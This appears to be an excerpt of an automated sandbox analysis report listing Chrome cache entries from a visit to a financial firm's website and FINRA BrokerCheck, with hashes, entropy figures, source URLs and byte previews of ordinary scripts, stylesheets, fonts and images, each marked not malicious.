Preview:	.PNG........IHDR...T.........k.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx.....^e.>.7.T.....".(b....]....qWW.-.UQq.UQ..RVpU.... ...."H......!.:.....sf3._2...9.}]...d..&^.y.w......t........".l...QdJdR..."..\.Y..WD~..0.P..of...C..#wDn.\../2'2+.HU..t..\......qd..n....7..3.....#.l.....uUQkyh.]..E..X.........T....:...d...#{...~a....^.Zzg.?.Q...Y...#O....v.T..h......u...`...qB_.\|7.[..>..Bd..%?.....{.....0R....Fj\.7....U.....2:...'U.X.FN.........T....}"../T..=..#_.R.J.{...T.h.N..DNU...k......<......Z..5?(....h..K_..#..E...X.......`u.T..X].G..........1A.....\|.....W"....V....2>..T<.kbC;..9!rP.Q....Q..Y..7'rb.........T..X.m"GE^...ty...#."=..K...U....?r...X.....+.k.x....^80...Lu...G~..T...<..D~..........X..R1..S..~.....1..]G..yD..m#.F.S....2.....W..<...b.../..B.....Rq..L...._....gP..`.=Rq...X-.qQ.N......;!.E5PZ7...U....g...0.9..".b.-J.w..[.Au....#"...J.F..r...0....m.9#.........T1.....woP..k"o.....f.X.....%cJ.vM.0.NU..'#.\..J.

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (49273)
Category:	downloaded
Size (bytes):	49276
Entropy (8bit):	5.46054574462855
Encrypted:	false
SSDEEP:	768:TCoEqoinIC7q2gh0CKUxEGWUwcvXWP6Ta8vHKPPSvCC1anVD//B/ZX8RNIB8HxKg:TPJi0LUxEpyv0StEZ/Bd8RNIsxZ
MD5:	FB2E085CDC32D0BC97C24A8A82C12946
SHA1:	194A95809592E6984151A465946EF7EDB7A47959
SHA-256:	6CC4C722A50B4152194B13E7E3C8A1A5A5F23B17988F8FA85404394EFC5C0984
SHA-512:	D9399F04E6965CC59C6A730F85E10DAF949A0BDA30DDE85710A27380650F8194362CA51E28C8D751B3B4F23C451715B14F2A3A1AB9F872DE8B3202F8F1698B0A
Malicious:	false
Reputation:	low
URL:	https://snap.licdn.com/li.lms-analytics/insight.min.js
Preview:	!function(){"use strict";function t(t,n,e){return n in t?Object.defineProperty(t,n,{value:e,enumerable:!0,configurable:!0,writable:!0}):t[n]=e,t}var n,e,r,o,i={ADVERTISING:"ADVERTISING",ANALYTICS_AND_RESEARCH:"ANALYTICS_AND_RESEARCH",FUNCTIONAL:"FUNCTIONAL"},a="GUEST",u="MEMBER",c=0,l=1,s=2,f=(t(n={},a,"li_gc"),t(n,u,"li_mc"),n),d=function ar(){var t=arguments.length>0&&arguments[0]!==undefined?arguments[0]:null,n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:null,e=arguments.length>2&&arguments[2]!==undefined?arguments[2]:null,r=arguments.length>3&&arguments[3]!==undefined?arguments[3]:null;for(var o in function(t,n){if(!(t instanceof n))throw new TypeError("Cannot call a class as a function")}(this,ar),t=t\|\|{},this.consentAvailable=!1,this.issuedAt=n,this.userMode=e,this.optedInConsentMap={},i)t[o]=t[o]\|\|c,t[o]!==c&&(this.consentAvailable=!0),this.optedInConsentMap[o]=t[o]===l\|\|t[o]===c&&r===l},v=(e=[i.ADVERTISING,i.ANALYTICS_AND_RESEARCH,i.FUNCTIONAL],r=[c,l,s,c],o=new R

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1600x826, components 3
Category:	dropped
Size (bytes):	204920
Entropy (8bit):	7.987636589391363
Encrypted:	false
SSDEEP:	3072:Co5iP3TvkTCLYRUg1fc5Lx3rFDtkhVIfE+4H05MTVkLat60+MGbCxDq/nyIx:CoEzkjRUBrFDy834HHVkLP0+MGbQMnP
MD5:	B278C0ABD1896493857D85803ECF6C25
SHA1:	834C1FFE24034F291C13E1E19B727318A5575645
SHA-256:	0D7C724854A0AF24AF1A967A171855614E8AAF18CFCE719EC9B5CF3A6D60F32E
SHA-512:	218982BED58D877EA02C9928FE196A9F3430BB2F6CF06374FCB4A2410B520434882186D19DB6B3ABA8742ED6749AEE1EE148D69A0530ABECCBAC74C870F4272C
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................:.@.."...............................................................................DO~$E.:.c..c..".^.r.(y.F..z.#dj.j..r..ieE..X......J..Qk-........R.r.......n.K..,..AZ%...eb[.LF.s.....q..iUC.v.R..R...".Q.....#T.a%(vBY.q%ddJQ%....@AB.".......U....0..U..Tm...I.Q..!.)C..DhJJ..@.EX.j+,....h.....W"....NmjW...(Z....2.Ve.-.T.......sYc-.....V.D... L!.....V.Cr% .6TZ...R.fs@g4...b+s.....bc.I..Y9W(...l...Rh..$E......-..].k........B.hR.....L...GL....d.rr..@....)....4....Q.......I "......A...A..d.L.ms.7.D.EH+V.J......d..\%..+.........I%.i..9V.@^....Q.%.:_...T..-........cV..-t....&r4...Vjye..yKs..! .L.4..&.). ...N....&J.nX..N.NV...(5....X.....JBVL.)..j.li.4....h...0.N5Z.5.+..B.$4 B..h.V$...i....A4....J.JXJVJ..u.L.2+$.h.f..*.JT4 ).".."."D..0.UD.A. C". .2rD..q"2.'......c...)..A."..DT.D..q.

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6185)
Category:	downloaded
Size (bytes):	43510
Entropy (8bit):	5.529272809722358
Encrypted:	false
SSDEEP:	768:N292grwd8BDlWlr4ehDob+u2Jhysewxfys14WXB5kfM23MY:mneh5ybmhK0B5kfM23MY
MD5:	692AFA1589731E198AC3262BD317B325
SHA1:	F13F6238A093C901FE5A2CE48B237F3FCFE241CC
SHA-256:	E769AFFBA626170335F0F3F78472D08EF81A04ADC937DC44AD0F5B4063A43F85
SHA-512:	B46408832F374C650245BABA540C078C3DE4C4EEBB06AAAE522582CCC60D5808D778619B5B7FA9D95CBF1EDFB5F9E82F02C8AB1E0EA0EADE1BFA583ADFDD025A
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3i-Vf4/y1/l/en_US/CStAmTwl6_y.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("createFeedCometMentionsDataEntryWithTagSuggestion_data.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[{kind:"RootArgument",name:"scale"}],kind:"Fragment",metadata:{mask:!1},name:"createFeedCometMentionsDataEntryWithTagSuggestion_data",selections:[{alias:null,args:null,concreteType:"User",kind:"LinkedField",name:"node",plural:!1,selections:[{kind:"InlineFragment",selections:[{alias:null,args:null,kind:"ScalarField",name:"name",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"id",storageKey:null},{alias:"photo",args:[{kind:"Literal",name:"height",value:40},{kind:"Variable",name:"scale",variableName:"scale"},{kind:"Literal",name:"width",value:40}],concreteType:"Image",kind:"LinkedField",name:"profile_picture",plural:!1,selections:[{alias:null,args:null,kind:"ScalarField",name:"uri",storageKey:null}],storageKey:null}],type:"Profile",abstractKey:"__isProfile"}],storageKey:null}],type:"SuggestedWithTagsEdge",abstractKey:null};e.

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4798)
Category:	downloaded
Size (bytes):	4940
Entropy (8bit):	4.936546636019485
Encrypted:	false
SSDEEP:	96:WTwqSDed+LXL9PWjMX4zQQZWhBOkiH8/hI0P:WTw1DXwjMXUWhBOkic/hI0P
MD5:	F923DEA839AF5F359263AEACAFD45F22
SHA1:	A3B430092EED9865786F02E0F2DB38B2910FEBAE
SHA-256:	426C072C572B2B5781A193239EA6C9CD492E180846CA339B302EB9C8B143BB81
SHA-512:	A2020E716532A349DF2F4E9A6E982278F6E47BD5CBB47BE5E9B0044142936355F06C200E2AB8D7FF649754289E3431915039C2427A2DADA92F99628EAE4BFF72
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/timeline-express/lib/public/css/min/timeline-express.min.css?ver=1.8.1
Preview:	/. @Plugin Timeline Express. * @Author Code Parrots. * @Site https://www.wp-timelineexpress.com. * @Version 1.8.1. * @Build 04-04-2020. */..cd-container{width:95%;margin:0 auto}.cd-container::after{content:'';display:table;clear:both}#cd-timeline{position:relative;padding:1em 0;margin-top:2em;margin-bottom:3em}#cd-timeline::before{content:'';position:absolute;top:0;left:18px;height:100%;width:4px;background:rgba(179,177,179,.75)}.cd-timeline-content h2{margin:0}.cd-timeline-content .cd-date,.cd-timeline-content .the-excerpt,.cd-timeline-content .timeline-express-read-more-link{position:relative;z-index:10;display:block}.cd-timeline-content .the-excerpt p{margin-bottom:0}.announcement-banner-image{border-radius:3px}.cd-timeline-block{width:100%;display:inline-block}.cd-timeline-block:after{content:"";display:table;clear:both}.cd-timeline-block:first-child{margin-top:0}.cd-timeline-block:last-child{margin-bottom:0}.cd-timeline-img{position:absolute;left:-5px;height:50px;width:50px;bor

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13921)
Category:	downloaded
Size (bytes):	249995
Entropy (8bit):	5.5586576068973725
Encrypted:	false
SSDEEP:	3072:nSR+8bFtV6vWbJP8jHGXmJZVwpcfsYrWTrW40dojzJT:SRp6+t9NafsYrgrWfojp
MD5:	54C19124165F6209DD52D9595844499F
SHA1:	29DC865BA3B977F224AEADE7FDFEC3BA4077966F
SHA-256:	3F65DDAEE6A4CF76DA32A9999C67511FD386980A5D1C1D2600E83B1EC98DA416
SHA-512:	29AFBB5559AA247229ED6CF232EB5A21AE643E0EE0714332CC57C857321DEB8D2E438687B896249042655BAD8ED7FA04D3782BF813597321D6C74375D7703BAE
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-TMF86NW
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. . (function(w,g){w[g]=w[g]\|\|{};. w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');. .(function(){..var data = {."resource": {. "version":"7",. . "macros":[{"function":"__e"},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__c","vtp_value":"brokercheck.finra.org"},{"function":"__c","vtp_value":"UA-166975793-1"},{"function":"__c","vtp_value":"brokercheck.dev.finra.org"},{"function":"__c","vtp_value":"UA-166975793-2"},{"function":"__c","vtp_value":"brokercheck.qa.finra.org"},{"function":"__c","vtp_value":"UA-166975793-3"},{"function":"__c","vtp_value":"dev2.brokercheck.dev.finra.org"},{"function":"__c","vtp_value":"UA-166975793-4"},{"function":"__c","vtp_value":"qa2.brokercheck.qa.finra.org"},{"function":"__c","vtp_value":"UA-166975793-5"},{"function":"__smm","vtp_setDefaultValue":false,"vtp_input":["macro",1],"vtp_map":["list",["map","

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	56115
Entropy (8bit):	5.347323537885137
Encrypted:	false
SSDEEP:	384:+bOClrtwMZbq990nhHGOf0wtb9ZSq99NnMU8OhqqtJXZ0q99HnCafOWJ3tsIZfqW:IDvN1pXzv1QIIMwi
MD5:	3C89B4E5563F4BA0410A1D7D4F3AD23E
SHA1:	6455000459BF2AD68625B8B554A652CC84145261
SHA-256:	B17609553B24140FC01409B78FA834FE878DE6410FE9E8996B0A5F6A984DDD6D
SHA-512:	F85D5BA57633E85A9A3DC826A33DE76FF22725DE7398FC0049E1395CD46603F0B1F2E1BB47422BCF0D2D71FC2BA497322CFC40EF5101A3FF25E89757E4F6CA56
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Open Sans';. font-style: italic;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtE6F15M.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Open Sans';. font-style: italic;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWvU6F15M.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Open Sans';. font-style: italic;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtU6F15M.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Open Sans';. font-style

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	22955
Entropy (8bit):	5.169669668538582
Encrypted:	false
SSDEEP:	192:SR2wSl+cbQ81a3CBsRJa38t48Jut6B+tcyeF63ugJ0FerTpLDPBSjoXOaWEwPGSw:qJcbQwa3CCRI3EO696+venpLNSdWQWHX
MD5:	7C269A651ACA740066118E505D386EA9
SHA1:	6141C44D57B3DDB12801D8D1B66E997FBD50FDBD
SHA-256:	79DA97DB7C71506B0437849ACD1CE65D9B0123B311B73BA2993186E02353E8FD
SHA-512:	6270BAEE85AA5BCCF0793E10FAACB08F5BAFAE168E3A16E5A2DC6FE39773994D8710AF27EDDCCE4BA58D9D0483026AC93C02465AB57131F53D48AFE3D6300548
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.css
Preview:	@font-face{font-family:'GothamBold';src:url('../fonts/GothamBold.eot') format('embedded-opentype'),.url('../fonts/GothamBold.woff') format('woff'),.url('../fonts/GothamBold.ttf') format('truetype');font-weight:normal;font-style:normal;}.@font-face{font-family:'GothamMedium';src:url('../fonts/GothamMedium.eot') format('embedded-opentype'),.url('../fonts/GothamMedium.woff') format('woff'),.url('../fonts/GothamMedium.ttf') format('truetype');font-weight:normal;font-style:normal;}.@font-face{font-family:'GothamBook';src:url('../fonts/GothamBook.eot') format('embedded-opentype'),.url('../fonts/GothamBook.woff') format('woff'),.url('../fonts/GothamBook.ttf') format('truetype');font-weight:normal;font-style:normal;}.*{margin:0;padding:0;box-sizing:border-box;border:0;list-style-type:none;}..clear{clear:both;}.body{font-family: 'Montserrat-Regular'!important;float:left;background:#fff;transition:all ease 0.2s;}.html, body{width:100%;}.a:hover{text-decoration:none!important;}.a:focus{outline:no

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57196)
Category:	downloaded
Size (bytes):	110147
Entropy (8bit):	4.920389651812489
Encrypted:	false
SSDEEP:	1536:iLeJqf9Zk2u5SOV+UQ3Zo/0kxhdRVrkQzE:iLeJEk2u5SOV+UQ3Zo/0kPdvQQzE
MD5:	0234D0A7685AEFA6FD06041FBD602928
SHA1:	CBCBA60AA82286DD1F877CB8BD5B5CC047F82CE0
SHA-256:	0085ADFD2D08A45F62A06D8F3F969DDC4A94EBE8D226511DB90AA038F11ED180
SHA-512:	298B4324851F0D9662A48EF2FA74E65CD78FB4BC69191B05E70C254B6CC196719E7F35FE3E882857026FCFA260F0A5B1208E964EE9F42A9DD2E2FED0ACB070D1
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-includes/css/dist/block-library/style.min.css?ver=4a124e090d7ee965f75f11dee143117d
Preview:	@charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}.wp-block-button__link{box-sizing:border-box;cursor:pointer;display:inline-block;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-bl

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6427), with no line terminators
Category:	downloaded
Size (bytes):	6427
Entropy (8bit):	5.190251794559358
Encrypted:	false
SSDEEP:	192:aeAC7YoeQY7bZjS7GKZyUKv+yLvzBZI5BnAI:BrPeR79jdXqp
MD5:	2D160B64FFB01229B42A64129E51AF9D
SHA1:	1B2718E50FFD685D4E151C1E31EA9D6E071AF613
SHA-256:	9191F967AD46D21548319754D2C5357D32DD3D2061BFADE9F4D8EF77EDFDC476
SHA-512:	3DC997D07C890CDE33DB95CF148721CE13C5FA079998E6FE98A9FA57CEC8273298BDAA7BB0F4E4C97BBAE0F15C1E1C3314D87CEFB8C7C4BC36AFD688E6701F7D
Malicious:	false
Reputation:	low
URL:	https://static.ada.support/embed2.js
Preview:	!function(){"use strict";var e,t,n,r,o={740:function(e,t){var n=this&&this.__assign\|\|function(){return n=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},n.apply(this,arguments)};t.__esModule=!0,t.createStorage=void 0;var r="Cannot access Web Storage API";t.createStorage=function(e){var t;try{t="local"===e?localStorage:sessionStorage}catch(e){console.warn(r)}var o={setItem:function(e,n){try{null==t\|\|t.setItem(e,JSON.stringify(n))}catch(e){console.warn(r)}},getItem:function(e){try{var n=null==t?void 0:t.getItem(e);return n&&JSON.parse(n)}catch(e){return console.warn(r),null}},removeItem:function(e){try{null==t\|\|t.removeItem(e)}catch(e){console.warn(r)}},clear:function(){try{null==t\|\|t.clear()}catch(e){console.warn(r)}},setFnItem:function(e,t){var r,a=o.getItem("ada-functional-storage")\|\|{},i=n(n({},a),((r={})[e]=t,r));o.setItem("ada-functional-storage",i)},getFnItem:function(e

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1620 x 675, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	54653
Entropy (8bit):	7.833527803247782
Encrypted:	false
SSDEEP:	1536:6v0qiY56Khg2+P5nMcazDbGcB04l7hDsN:6MpX2+xnMlKyxl7h4
MD5:	B6A2096635FFA0830D72CD34E7ED9E33
SHA1:	4DA73CDB3B61752C74C6C16233D90E952E532287
SHA-256:	994A327F8A592FDBEF478679E8114B966B8CD510F09BDC65D688BF0569FEE489
SHA-512:	5C703D2819C444F00349E15B88023DB2F54A237F402BBDC3F7E42F5DF9FB68D9E96AF88BE086C1031C3E7E2D92BF145B73EA39F77E607B5C94623B9294F0C89C
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2023/03/BFJ_LOGO_WITH_TAG_WHITE_NEW.png
Preview:	.PNG........IHDR...T.........k.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx.....^e.>.7.T.....".(b....]....qWW.-.UQq.UQ..RVpU.... ...."H......!.:.....sf3._2...9.}]...d..&^.y.w......t........".l...QdJdR..."..\.Y..WD~..0.P..of...C..#wDn.\../2'2+.HU..t..\......qd..n....7..3.....#.l.....uUQkyh.]..E..X.........T....:...d...#{...~a....^.Zzg.?.Q...Y...#O....v.T..h......u...`...qB_.\|7.[..>..Bd..%?.....{.....0R....Fj\.7....U.....2:...'U.X.FN.........T....}"../T..=..#_.R.J.{...T.h.N..DNU...k......<......Z..5?(....h..K_..#..E...X.......`u.T..X].G..........1A.....\|.....W"....V....2>..T<.kbC;..9!rP.Q....Q..Y..7'rb.........T..X.m"GE^...ty...#."=..K...U....?r...X.....+.k.x....^80...Lu...G~..T...<..D~..........X..R1..S..~.....1..]G..yD..m#.F.S....2.....W..<...b.../..B.....Rq..L...._....gP..`.=Rq...X-.qQ.N......;!.E5PZ7...U....g...0.9..".b.-J.w..[.Au....#"...J.F..r...0....m.9#.........T1.....woP..k"o.....f.X.....%cJ.vM.0.NU..'#.\..J.

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 10 x 10, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.71696959175789
Encrypted:	false
SSDEEP:	3:yionv//thPlH1tnt/tAhHGZscm1olkqCwbp:6v/lhP6hHDcZCYp
MD5:	8DC258A49B60FAE051E9A7CE11AD05CF
SHA1:	DAFEF280663F4205FC7F0E47799E9945E6A68D6D
SHA-256:	C8CAED93847AFFC154CB3D424E34FC146E7340BB29ABEBD5EBA7063E3DCA0604
SHA-512:	5F11ED60D79A80EF7CCEFFA907CD55F31D8DB19BD2A7F4C2650C62A355C5071C5FB61DA1EB0A2071CE22ECDC35C0D12F51E4D13AAC3B0FDB95ED4629815B5AFB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............PX.....IDAT.Wc...0a.!..)....A,....Zl....IEND.B`.

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1168), with no line terminators
Category:	downloaded
Size (bytes):	1168
Entropy (8bit):	5.202881000206727
Encrypted:	false
SSDEEP:	24:9bbHIp0B3nEKSt824R9JsNyS67VKyi7RauEree2zI5Z57MNf:Jbo+f88pcO61auDc5Z57M
MD5:	AE95693F148A1195BD8753C7BAA18E14
SHA1:	80243FCA2C56208C542D4F9683A524488564E8A7
SHA-256:	B00FFB7BA78FB88C48E9E3FB7AD976180F45A1D909BCD246353DA91B4C2C6D96
SHA-512:	E18224FEB8B84636213C8A9273B2CA3B0BDCADB5129747139707C3807800F6A3C6D38906314510BDB0E70046586182622C42F01EE90D3165060F1D4625D15A22
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/runtime.1ce7ab7f00fc47f8.js
Preview:	(()=>{"use strict";var e,h={},i={};function a(e){var n=i[e];if(void 0!==n)return n.exports;var r=i[e]={id:e,loaded:!1,exports:{}};return h[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=h,e=[],a.O=(n,r,l,f)=>{if(!r){var o=1/0;for(c=0;c<e.length;c++){for(var[r,l,f]=e[c],u=!0,t=0;t<r.length;t++)(!1&f\|\|o>=f)&&Object.keys(a.O).every(b=>a.O[b](r[t]))?r.splice(t--,1):(u=!1,f<o&&(o=f));if(u){e.splice(c--,1);var s=l();void 0!==s&&(n=s)}}return n}f=f\|\|0;for(var c=e.length;c>0&&e[c-1][2]>f;c--)e[c]=e[c-1];e[c]=[r,l,f]},a.n=e=>{var n=e&&e.__esModule?()=>e.default:()=>e;return a.d(n,{a:n}),n},a.d=(e,n)=>{for(var r in n)a.o(n,r)&&!a.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},a.o=(e,n)=>Object.prototype.hasOwnProperty.call(e,n),a.nmd=e=>(e.paths=[],e.children\|\|(e.children=[]),e),(()=>{var e={666:0};a.O.j=l=>0===e[l];var n=(l,f)=>{var t,s,[c,o,u]=f,v=0;if(c.some(_=>0!==e[_])){for(t in o)a.o(o,t)&&(a.m[t]=o[t]);if(u)var d=u(a)}for(l&&l(f);v<c.length;v++)a.o(e,s=c[v])&&e[s

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, CFF, length 109664, version 0.0
Category:	downloaded
Size (bytes):	109664
Entropy (8bit):	7.996833918440905
Encrypted:	true
SSDEEP:	1536:sjCUCS6HuWQRIKagvK+nU5mOYecEMcjCxvhadegRUlZJ29FIWDsFn+S8C2RLhxbX:JhpOmsKIU5nYecRdxhgRHfS8pR/btqI
MD5:	8D651AB4FAD031C73F8FCC4331DBA946
SHA1:	3A489283287C4D6E5D2BAB09478502B018F5DF50
SHA-256:	FBA8E4E78B19582589C71FC99B661B9EEFE25761B1A7CFDFD78B8B903DDE19E2
SHA-512:	A745C8EDEFEA1BCC1D8CFA9E260953D5F87B8FC5778C4397525A789D3F34E5BE93A8A854F8074D15466A25670CA411E051C21594B8C8B94145D1D5444A1F1928
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/fonts/Georgia.woff
Preview:	wOFFOTTO...`.......t........................CFF ...p........(...FFTM... ...........GDEF........... .v..OS/2...h...L...VG..gcmap...8...".....gLhead.......2...6..Ehhea...<...!...$.K..hmtx...<...!...$...maxp...`.........IP.name..............&.post...\....... .N.ex.c`d```..x.S2+...+.7....H.......s..e..r9..@..H..V..x.c`d``..g...y.....9C..".......K.....P..I..x.c`dne......:....a6.f.cHe.bafbaeb.bff.X;....VP`p`P. ......{..A.... 9..a..x..Mk.A....4Uc[\|/b.../F.C!...C.....&:f'...n...r.G..J=.^.A.A.E..~..^...=....-..b...=/.......y....Wi.....PULz.4-.=...=W.&.z.....].f.K..:..:s.<..b.c..\e.6.8....Pz......o.../...I.!M..B...1..z..... ......}.\c.G...O.S.n..(.H...........'...y....Os...3.s..,.m.Y..d...g...}..c....3./_...G.:...UaM)....<...9...S...U.&.<h..6b..x:.].Y.q.S.A)..Y..CQkW+g.`5....!.V.=..m.t..H.Z.......B5..y...m.g.B-f..Y].YZW.I.Z.+W-...e".-A.5.EY..d...\....F.Z..O4.o...F......ZY.5>r.G......5cs.F........\|.......Mnn.>w..{[.*.8WZ.VGfS...uJ.............8.6.A.;<..M..R..,f.;.

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 27, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3162
Entropy (8bit):	7.9353789598622315
Encrypted:	false
SSDEEP:	48:W1G3AIZwk++VRadzNSW6FYD/kOWnAwb00EUIqCQ0Y3Z9niqhOHZyHrj/iYkI0icA:W1G3AWP++VROjwnAYE0sY3OM/KFG+hy9
MD5:	12575A87AC8F7CC9336074B3293E0C73
SHA1:	6CA3023B0E9EAED761157F37EA25F6959680AAB6
SHA-256:	593DE166285914917E5E3B319ADA9228846B76823F237245026E0B735539D108
SHA-512:	0408EF15D33FFA85B53697E6AE9A85B4B22DD5FD49AD15220FCA976CCD23B25F288AF9F15BD7F83E28B2B0420D35D893708F33B731262CA04949686020FFE408
Malicious:	false
Reputation:	low
